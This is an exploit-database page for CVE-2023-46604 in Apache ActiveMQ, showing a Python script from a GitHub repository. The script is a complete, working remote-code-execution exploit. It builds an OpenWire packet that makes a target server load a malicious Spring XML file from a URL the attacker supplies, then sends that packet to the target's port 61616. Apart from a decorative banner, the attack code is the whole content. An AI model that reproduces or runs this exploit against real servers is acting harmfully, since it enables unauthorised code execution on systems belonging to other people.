Exploit databaseDownload repository ZIP
GH-c18fcf989fe8fe2a63ba7c58e622d85f
justdoit-cai/cve-2023-46604-apache-activemq-rce-exp
Sources for CVE-2023-46604
27 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files3
justdoit-cai/cve-2023-46604-apache-activemq-rce-expRevision 20cb1e690e66
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
attack.py
Python · 2,318 bytesfrom pwn import *
import argparse
def str2hex(s):
res = ""
for ch in s:
res += hex(ord(ch))
return "".join(res.split("0x"))
def banner():
print('''
_ooOoo_
o8888888o
88" . "88
(| ^_^ |)
O\ = /O
____/`---'\____
.' \\| |// `.
/ \\||| : |||// \
/ _||||| -:- |||||- \
| | \\\ - /// | |
| \_| ''\---/'' | |
\ .-\__ `-` ___/-. /
___`. .' /--.--\ `. . ___
."" '< `.___\_<|>_/___.' >'"".
| | : `- \`.;`\ _ /`;.`/ - ` : | |
\ \ `-. \_ __\ /__ _/ .-` / /
========`-.____`-.___\_____/___.-`____.-'========
`=---='
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
God bless you~
''')
def attack(ip, xml, port=61616):
print(f"[*] Target: {ip}:{port}")
print(f"[*] Evil XML URL: {xml}")
message = xml
className = 'org.springframework.context.support.ClassPathXmlApplicationContext'
message = str2hex(message)
className = str2hex(className)
body = '01' + "{:04X}".format(len(className) // 2) + className + '01' + "{:04X}".format(len(message) // 2) + message
header = '1f00000000000000000001'
payload = "{:08X}".format(len(header + body) // 2) + header + body
print(f"[*] Sending packet: {payload}")
io = remote(ip, port)
io.send(bytes.fromhex(payload))
io.close()
if __name__ == '__main__':
banner()
parser = argparse.ArgumentParser(description="Demo of argparse")
parser.add_argument("-u", type=str, required=True, help="target ip")
parser.add_argument("-p", type=int, default=61616, help="target port, default 61616")
parser.add_argument("-x", type=str, required=True, help="where is malicious xml on")
args = parser.parse_args()
attack(args.u, args.x, args.p)